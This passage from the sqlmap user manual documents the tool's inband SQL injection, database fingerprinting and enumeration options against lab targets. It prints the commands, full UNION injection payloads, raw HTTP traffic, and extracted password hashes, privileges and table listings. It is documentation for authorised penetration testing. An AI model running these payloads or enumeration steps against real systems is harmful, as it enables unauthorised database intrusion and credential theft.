fallback on the blind SQL injection technique to go ahead. Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" -v 2 \ --union-use --banner [...] back-end DBMS: Microsoft SQL Server 2000 [hh:mm:42] [INFO] fetching banner [hh:mm:42] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing technique [hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability [hh:mm:42] [INFO] confirming full inband sql injection on parameter 'id' [hh:mm:42] [INFO] the target url is affected by an exploitable full inband sql injection vulnerability [hh:mm:42] [DEBUG] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+ CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+ CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204 [hh:mm:42] [DEBUG] performed 3 queries in 0 seconds banner: --- Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) --- </verb></tscreen> As you can see, the vulnerable parameter (<tt>id</tt>) is affected by both blind SQL injection and exploitable full inband SQL injection vulnerabilities. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -v 5 \ --union-use --current-user [...] [hh:mm:29] [INFO] the target url is affected by an exploitable full inband sql injection vulnerability [hh:mm:29] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(112,110,121,77,88,86), IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32)),CHAR(72,89,75,77,121,103)), NULL# AND 8032=8032 [hh:mm:29] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%28112 %2C110%2C121%2C77%2C88%2C86%29%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%2810000%29 %29%2C%20CHAR%2832%29%29%2CCHAR%2872%2C89%2C75%2C77%2C121%2C103%29%29%2C%20NULL%23%20AND %208032=8032 HTTP/1.1 Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.136.131 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200): Date: Tue, 16 Dec 2008 hh:mm:29 GMT Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0 X-Powered-By: PHP/5.2.6-2ubuntu4 Content-Length: 194 Connection: close Content-Type: text/html <html><body> SQL results: <table border="1"> <tr><td>1</td><td>luther</td><td>blissett</td></tr> <tr><td></td><td>pnyMXVtestuser@localhostHYKMyg</td><td></td></tr> </table> </body></html> [hh:mm:29] [DEBUG] performed 3 queries in 0 seconds current user: 'testuser@localhost' </verb></tscreen> As you can see, the MySQL <tt>CURRENT_USER()</tt> function (--current-user) output is nested, inband, within the HTTP response page, this makes the inband SQL injection exploited. In case the inband SQL injection is not fully exploitable, sqlmap will check if it is partially exploitable: this occurs if the query output is not parsed within a <tt>for</tt>, or similar, cycle but only the first entry is displayed in the page content. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int_partialunion.php?id=1" -v 2 \ --union-use --dbs [...] back-end DBMS: MySQL >= 5.0.0 [hh:mm:56] [INFO] fetching database names [hh:mm:56] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing technique [hh:mm:56] [INFO] the target url could be affected by an inband sql injection vulnerability [hh:mm:56] [INFO] confirming full inband sql injection on parameter 'id' [hh:mm:56] [WARNING] the target url is not affected by an exploitable full inband sql injection vulnerability [hh:mm:56] [INFO] confirming partial inband sql injection on parameter 'id' [hh:mm:56] [INFO] the target url is affected by an exploitable partial inband sql injection vulnerability [hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76), IFNULL(CAST(COUNT(schema_name) AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM information_schema.SCHEMATA# AND 1062=1062 [hh:mm:56] [DEBUG] performed 6 queries in 0 seconds [hh:mm:56] [INFO] the SQL query provided returns 4 entries [hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL( CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM information_schema.SCHEMATA LIMIT 0, 1# AND 1421=1421 [hh:mm:56] [DEBUG] performed 7 queries in 0 seconds [hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL( CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM information_schema.SCHEMATA LIMIT 1, 1# AND 9553=9553 [hh:mm:56] [DEBUG] performed 8 queries in 0 seconds [hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL( CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM information_schema.SCHEMATA LIMIT 2, 1# AND 6805=6805 [hh:mm:56] [DEBUG] performed 9 queries in 0 seconds [hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL( CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM information_schema.SCHEMATA LIMIT 3, 1# AND 739=739 [hh:mm:56] [DEBUG] performed 10 queries in 0 seconds available databases [4]: [*] information_schema [*] mysql [*] privatedb [*] testdb </verb></tscreen> As you can see, sqlmap identified that the parameter is affected by a partial inband SQL injection. Consequently, it counted the number of query output entries and retrieved them once per time. It forces the parameter (<tt>id</tt>) value <tt>1</tt> to its negative value <tt>-1</tt> so that it does not return, presumibly, any output. That leaves our own <tt>UNION ALL SELECT</tt> statement to produce one entry at a time and display only it in the page content. <sect1>Fingerprint <sect2>Extensive database management system fingerprint Switches: <tt>-f</tt> or <tt>-</tt><tt>-fingerprint</tt> By default the web application's back-end database management system fingerprint is performed requesting a database specific function which returns a known static value. By comparing these value with the returned value it is possible to identify if the back-end database is effectively the one that sqlmap expected. Depending on the DBMS being tested, a SQL dialect syntax which is syntatically correct depending upon the back-end DBMS is also tested. After identifying an injectable vector, sqlmap fingerprints the back-end database management system and go ahead with the injection with its specific syntax within the limits of the database architecture. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -v 1 [...] [hh:mm:17] [INFO] testing MySQL [hh:mm:17] [INFO] confirming MySQL [hh:mm:17] [INFO] retrieved: 5 [hh:mm:17] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: MySQL >= 5.0.0 </verb></tscreen> As you can see, sqlmap automatically fingerprints the web server operating system and the web application technology by parsing some HTTP response headers. If you want to perform an extensive database management system fingerprint based on various techniques like specific SQL dialects and inband error messages, you can provide the <tt>-</tt><tt>-fingerprint</tt> option. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -v 1 -f [...] [hh:mm:49] [INFO] testing MySQL [hh:mm:49] [INFO] confirming MySQL [hh:mm:49] [INFO] retrieved: 3 [hh:mm:49] [INFO] the back-end DBMS is MySQL [hh:mm:49] [INFO] retrieved: [hh:mm:49] [INFO] retrieved: [hh:mm:49] [INFO] retrieved: t [hh:mm:49] [INFO] executing MySQL comment injection fingerprint web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2 comment injection fingerprint: MySQL 5.0.67 html error message fingerprint: MySQL </verb></tscreen> Example on an <bf>Oracle XE 10.2.0.1</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -v 1 -f [...] [hh:mm:38] [WARNING] the back-end DMBS is not MySQL [hh:mm:38] [INFO] testing Oracle [hh:mm:38] [INFO] confirming Oracle [hh:mm:38] [INFO] the back-end DBMS is Oracle [hh:mm:38] [INFO] retrieved: 10 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: active fingerprint: Oracle 10g html error message fingerprint: Oracle </verb></tscreen> Example on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" -v 1 -f [...] [hh:mm:14] [WARNING] the back-end DMBS is not Oracle [hh:mm:14] [INFO] testing PostgreSQL [hh:mm:14] [INFO] confirming PostgreSQL [hh:mm:14] [INFO] the back-end DBMS is PostgreSQL [hh:mm:14] [INFO] retrieved: 2 [hh:mm:14] [INFO] retrieved: web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: active fingerprint: PostgreSQL >= 8.3.0 html error message fingerprint: PostgreSQL </verb></tscreen> As you can see from the last example, sqlmap first tested for MySQL, then for Oracle, then for PostgreSQL since the user did not forced the back-end database management system name with option <tt>-</tt><tt>-dbms</tt>. Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" -v 1 -f [...] [hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL [hh:mm:41] [INFO] testing Microsoft SQL Server [hh:mm:41] [INFO] confirming Microsoft SQL Server [hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: active fingerprint: Microsoft SQL Server 2000 html error message fingerprint: Microsoft SQL Server </verb></tscreen> Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.36/sqlmap/get_str.asp?name=luther" -v 1 -f [...] [hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL [hh:mm:41] [INFO] testing Microsoft SQL Server [hh:mm:41] [INFO] confirming Microsoft SQL Server [hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2003 or 2000 web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: active fingerprint: Microsoft SQL Server 2005 html error message fingerprint: Microsoft SQL Server </verb></tscreen> If you want an even more accurate result, based also on banner parsing, you can also provide the <tt>-b</tt> or <tt>-</tt><tt>-banner</tt> option. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -v 2 -f -b [...] [hh:mm:04] [INFO] testing MySQL [hh:mm:04] [INFO] confirming MySQL [hh:mm:04] [DEBUG] query: SELECT 0 FROM information_schema.TABLES LIMIT 0, 1 [hh:mm:04] [INFO] retrieved: 0 [hh:mm:04] [DEBUG] performed 13 queries in 0 seconds [hh:mm:04] [INFO] the back-end DBMS is MySQL [hh:mm:04] [DEBUG] query: VERSION() [hh:mm:04] [INFO] retrieved: 5.0.67-0ubuntu6 [hh:mm:05] [DEBUG] performed 111 queries in 1 seconds [hh:mm:05] [DEBUG] query: SELECT 0 FROM information_schema.PARAMETERS LIMIT 0, 1 [hh:mm:05] [INFO] retrieved: [hh:mm:05] [DEBUG] performed 6 queries in 0 seconds [hh:mm:05] [DEBUG] query: MID(@@table_open_cache, 1, 1) [hh:mm:05] [INFO] retrieved: [hh:mm:05] [DEBUG] performed 6 queries in 0 seconds [hh:mm:05] [DEBUG] query: MID(@@hostname, 1, 1) [hh:mm:05] [INFO] retrieved: t [hh:mm:06] [DEBUG] performed 13 queries in 0 seconds [hh:mm:06] [INFO] executing MySQL comment injection fingerprint web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex) back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2 comment injection fingerprint: MySQL 5.0.67 banner parsing fingerprint: MySQL 5.0.67 html error message fingerprint: MySQL [...] </verb></tscreen> As you can see, sqlmap was also able to fingerprint the back-end DBMS operating system by parsing the DBMS banner value. Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" -v 2 -f -b [...] [hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL [hh:mm:03] [INFO] testing Microsoft SQL Server [hh:mm:03] [INFO] confirming Microsoft SQL Server [hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server [hh:mm:03] [DEBUG] performed 13 queries in 0 seconds [hh:mm:03] [DEBUG] query: @@VERSION [hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) [hh:mm:08] [DEBUG] performed 1308 queries in 4 seconds web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS operating system: Windows 2000 Service Pack 4 back-end DBMS: active fingerprint: Microsoft SQL Server 2000 banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0 version 8.00.194 html error message fingerprint: Microsoft SQL Server [...] </verb></tscreen> Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.36/sqlmap/get_str.asp?name=luther" -v 2 -f -b [...] [hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL [hh:mm:03] [INFO] testing Microsoft SQL Server [hh:mm:03] [INFO] confirming Microsoft SQL Server [hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server [hh:mm:03] [DEBUG] query: @@VERSION [hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1) [hh:mm:15] [DEBUG] performed 1343 queries in 11 seconds web server operating system: Windows 2003 or 2000 web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS operating system: Windows 2003 Service Pack 1 back-end DBMS: active fingerprint: Microsoft SQL Server 2005 banner parsing fingerprint: Microsoft SQL Server 2005 Service Pack 0 version 9.00.1399 html error message fingerprint: Microsoft SQL Server [...] </verb></tscreen> As you can see, from the Microsoft SQL Server banner, sqlmap was able to correctly identify the database management system patch level. The Microsoft SQL Server XML versions file is the result of a sqlmap parsing library that fetches data from Chip Andrews' <htmlurl url="http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" name="SQLSecurity.com site"> and outputs it to the XML versions file. <sect1>Enumeration These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements. <sect2>Banner Switch: <tt>-b</tt> or <tt>-</tt><tt>-banner</tt> Most of the modern database management systems have a function and/or an environment variable which returns details on the database management system version. Also, sometimes it returns the operating system version where the daemon has been compiled on, the operating system architecture, and its service pack. Usually the function is <tt>version()</tt> and the environment variable <tt>@@version</tt>. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -b -v 0 banner: '5.0.67-0ubuntu6' </verb></tscreen> Example on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" -b -v 0 banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real (Ubuntu 4.3.2-1ubuntu11) 4.3.2' </verb></tscreen> Example on an <bf>Oracle XE 10.2.0.1</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -b -v 0 banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product' </verb></tscreen> Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" -b -v 0 banner: --- Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) --- </verb></tscreen> Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.36/sqlmap/get_str.asp?name=luther" -v 0 -b banner: --- Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1) --- </verb></tscreen> <sect2>Session user Switch: <tt>-</tt><tt>-current-user</tt> It is possible to retrieve the database management system's user which is effectively performing the query on the database from the web application. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --current-user -v 0 current user: 'testuser@localhost' </verb></tscreen> <sect2>Current database Switch: <tt>-</tt><tt>-current-db</tt> It is possible to retrieve the database management system's database the web application is connected to. Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --current-db -v 0 current database: 'master' </verb></tscreen> <sect2>Detect if the session user is a database administrator (DBA) Switch: <tt>-</tt><tt>-is-dba</tt> It is possible to detect if the current database management system session user is a database administrator. Example on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 2 [...] back-end DBMS: PostgreSQL [hh:mm:49] [INFO] testing if current user is DBA [hh:mm:49] [DEBUG] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)) THEN 1 ELSE 0 END) [hh:mm:49] [INFO] retrieved: 1 [hh:mm:50] [DEBUG] performed 13 queries in 0 seconds current user is DBA: 'True' </verb></tscreen> Example on an <bf>Oracle XE 10.2.0.1</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --is-dba -v 2 [...] back-end DBMS: Oracle [hh:mm:57] [INFO] testing if current user is DBA [hh:mm:58] [DEBUG] query: SELECT (CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE=CHR(68)||CHR(66)||CHR(65))=CHR(68)||CHR(66)||CHR(65)) THEN 1 ELSE 0 END) FROM DUAL [hh:mm:58] [INFO] retrieved: 1 [hh:mm:58] [DEBUG] performed 13 queries in 0 seconds current user is DBA: 'True' </verb></tscreen> <sect2>Users Switch: <tt>-</tt><tt>-users</tt> It is possible to enumerate the list of database management system users. Example on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --users -v 0 database management system users [3]: [*] postgres [*] testuser [*] testuser2 </verb></tscreen> <sect2>Users password hashes Switches: <tt>-</tt><tt>-passwords</tt> and <tt>-U</tt> It is possible to enumerate the password hashes for each database management system user. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --passwords -v 0 [*] debian-sys-maint [1]: password hash: *BBDC22D2B1E18C8628D29228649621B32A1B1892 [*] root [1]: password hash: *81F5E21235407A884A6CD4A731FEBFB6AF209E1B [*] testuser [1]: password hash: *00E247BD5F9AF26AE0194B71E1E769D1E1429A29 </verb></tscreen> You can also provide the <tt>-U</tt> option to specify the user who you want to enumerate the password hashes. Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --passwords \ -U sa -v 0 database management system users password hashes: [*] sa [1]: password hash: 0x01000a16d704fa252b7c38d1aeae18756e98172f4b34104d8ce32c2f01b293b03edb7491f ba9930b62ee5d506955 header: 0x0100 salt: 0a16d704 mixedcase: fa252b7c38d1aeae18756e98172f4b34104d8ee3 uppercase: 2c2f01b293b03edb7491fba9930b62ce5d506955 </verb></tscreen> As you can see, when you enumerate password hashes on Microsoft SQL Server sqlmap split the hash, useful if you want to crack it. If you provide <tt>CU</tt> as username it will consider it as an alias for current user and will retrieve the password hashes for this user. Example on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords \ -U CU -v 1 [...] back-end DBMS: PostgreSQL [hh:mm:48] [INFO] fetching current user [hh:mm:48] [INFO] retrieved: postgres [hh:mm:49] [INFO] fetching database users password hashes for current user [hh:mm:49] [INFO] fetching number of password hashes for user 'postgres' [hh:mm:49] [INFO] retrieved: 1 [hh:mm:49] [INFO] fetching password hashes for user 'postgres' [hh:mm:49] [INFO] retrieved: md5d7d880f96044b72d0bba108ace96d1e4 database management system users password hashes: [*] postgres [1]: password hash: md5d7d880f96034b72d0bba108afe96c1e7 </verb></tscreen> <sect2>Users privileges Switches: <tt>-</tt><tt>-privileges</tt> and <tt>-U</tt> It is possible to enumerate the privileges for each database management system user. Example on an <bf>Oracle XE 10.2.0.1</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --privileges -v 0 [hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS' [hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP' database management system users privileges: [*] CTXSYS [2]: privilege: CTXAPP privilege: RESOURCE [*] DBSNMP [1]: privilege: OEM_MONITOR [*] FLOWS_020100 (administrator) [4]: privilege: CONNECT privilege: DBA privilege: RESOURCE privilege: SELECT_CATALOG_ROLE [*] FLOWS_FILES [2]: privilege: CONNECT privilege: RESOURCE [*] HR (administrator) [3]: privilege: CONNECT privilege: DBA privilege: RESOURCE [*] MDSYS [2]: privilege: CONNECT privilege: RESOURCE [*] OUTLN [1]: privilege: RESOURCE [*] SYS (administrator) [22]: privilege: AQ_ADMINISTRATOR_ROLE privilege: AQ_USER_ROLE privilege: AUTHENTICATEDUSER privilege: CONNECT privilege: CTXAPP privilege: DBA privilege: DELETE_CATALOG_ROLE privilege: EXECUTE_CATALOG_ROLE privilege: EXP_FULL_DATABASE privilege: GATHER_SYSTEM_STATISTICS privilege: HS_ADMIN_ROLE privilege: IMP_FULL_DATABASE privilege: LOGSTDBY_ADMINISTRATOR privilege: OEM_ADVISOR privilege: OEM_MONITOR privilege: PLUSTRACE privilege: RECOVERY_CATALOG_OWNER privilege: RESOURCE privilege: SCHEDULER_ADMIN privilege: SELECT_CATALOG_ROLE privilege: XDBADMIN privilege: XDBWEBSERVICES [*] SYSTEM (administrator) [2]: privilege: AQ_ADMINISTRATOR_ROLE privilege: DBA [*] TSMSYS [1]: privilege: RESOURCE [*] XDB [2]: privilege: CTXAPP privilege: RESOURCE </verb></tscreen> You can also provide the <tt>-U</tt> option to specify the user who you want to enumerate the privileges. Example on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --privileges \ -U postgres -v 0 database management system users privileges: [*] postgres (administrator) [3]: privilege: catupd privilege: createdb privilege: super </verb></tscreen> As you can see, depending on the user privileges, sqlmap identifies if the user is a database management system administrator and shows this information next to the username. If you provide <tt>CU</tt> as username it will consider it as an alias for current user and will enumerate the privileges for this user. Example on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords \ -U CU -v 1 [...] back-end DBMS: PostgreSQL [hh:mm:25] [INFO] fetching current user [hh:mm:25] [INFO] retrieved: postgres [hh:mm:25] [INFO] fetching database users privileges for current user [hh:mm:25] [INFO] fetching number of privileges for user 'postgres' [hh:mm:25] [INFO] retrieved: 1 [hh:mm:25] [INFO] fetching privileges for user 'postgres' [hh:mm:25] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind [hh:mm:25] [INFO] retrieved: 1 [hh:mm:25] [INFO] retrieved: 1 [hh:mm:25] [INFO] retrieved: 1 database management system users privileges: [*] postgres (administrator) [3]: privilege: catupd privilege: createdb privilege: super </verb></tscreen> Note that this feature is not available if the back-end database management system is Microsoft SQL Server. <sect2>Available databases Switch: <tt>-</tt><tt>-dbs</tt> It is possible to enumerate the list of databases. Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --dbs -v 0 available databases [6]: [*] master [*] model [*] msdb [*] Northwind [*] pubs [*] tempdb </verb></tscreen> Note that this feature is not available if the back-end database management system is Oracle. <sect2>Databases tables Switches: <tt>-</tt><tt>-tables</tt> and <tt>-D</tt> It is possible to enumerate the list of tables for all database management system's databases. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tables -v 0 Database: testdb [1 table] +---------------------------------------+ | users | +---------------------------------------+ Database: information_schema [17 tables] +---------------------------------------+ | CHARACTER_SETS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLLATIONS | | COLUMN_PRIVILEGES | | COLUMNS | | KEY_COLUMN_USAGE | | PROFILING | | ROUTINES | | SCHEMA_PRIVILEGES | | SCHEMATA | | STATISTICS | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TABLES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+ Database: mysql [17 tables] +---------------------------------------+ | columns_priv | | db | | func | | help_category | | help_keyword | | help_relation | | help_topic | | host | | proc | | procs_priv | | tables_priv | | time_zone | | time_zone_leap_second | | time_zone_name | | time_zone_transition | | time_zone_transition_type | | user | +---------------------------------------+ </verb></tscreen> You can also provide the <tt>-D</tt> option to specify the database that you want to enumerate the tables. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tables \ -D testdb -v 0 Database: testdb [1 table] +---------------------------------------+ | users | +---------------------------------------+ </verb></tscreen> Example on an <bf>Oracle XE 10.2.0.1</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --tables \ -D users -v 0 Database: USERS [8 tables] +-------------------+ | DEPARTMENTS | | EMPLOYEES | | HTMLDB_PLAN_TABLE | | JOB_HISTORY | | JOBS | | LOCATIONS | | REGIONS | | USERS | +-------------------+ </verb></tscreen> Note that on Oracle you have to provide the <tt>TABLESPACE_NAME</tt> instead of the database name. In provided example <tt>users</tt> was used to retrieve all tables owned by an Oracle database management system user. <sect2>Database table columns Switches: <tt>-</tt><tt>-columns</tt>, <tt>-C</tt>, <tt>-T</tt> and <tt>-D</tt> It is possible to enumerate the list of columns for a specific database table. This functionality depends on the option <tt>-T</tt> to specify the table name and optionally on <tt>-D</tt> to specify the database name. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --columns \ -T users -D testdb -v 1 [...] back-end DBMS: MySQL >= 5.0.0 [hh:mm:20] [INFO] fetching columns for table 'users' on database 'testdb' [hh:mm:20] [INFO] fetching number of columns for table 'users' on database 'testdb' [hh:mm:20] [INFO] retrieved: 3 [hh:mm:20] [INFO] retrieved: id [hh:mm:20] [INFO] retrieved: int(11) [hh:mm:21] [INFO] retrieved: name [hh:mm:21] [INFO] retrieved: varchar(500) [hh:mm:21] [INFO] retrieved: surname [hh:mm:21] [INFO] retrieved: varchar(1000) Database: testdb Table: users [3 columns] +---------+---------------+ | Column | Type | +---------+---------------+ | id | int(11) | | name | varchar(500) | | surname | varchar(1000) | +---------+---------------+ </verb></tscreen> Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --columns \ -T users -D master -v 0 Database: master Table: users [3 columns] +---------+---------+ | Column | Type | +---------+---------+ | id | int | | name | varchar | | surname | varchar | +---------+---------+ </verb></tscreen> Example on a 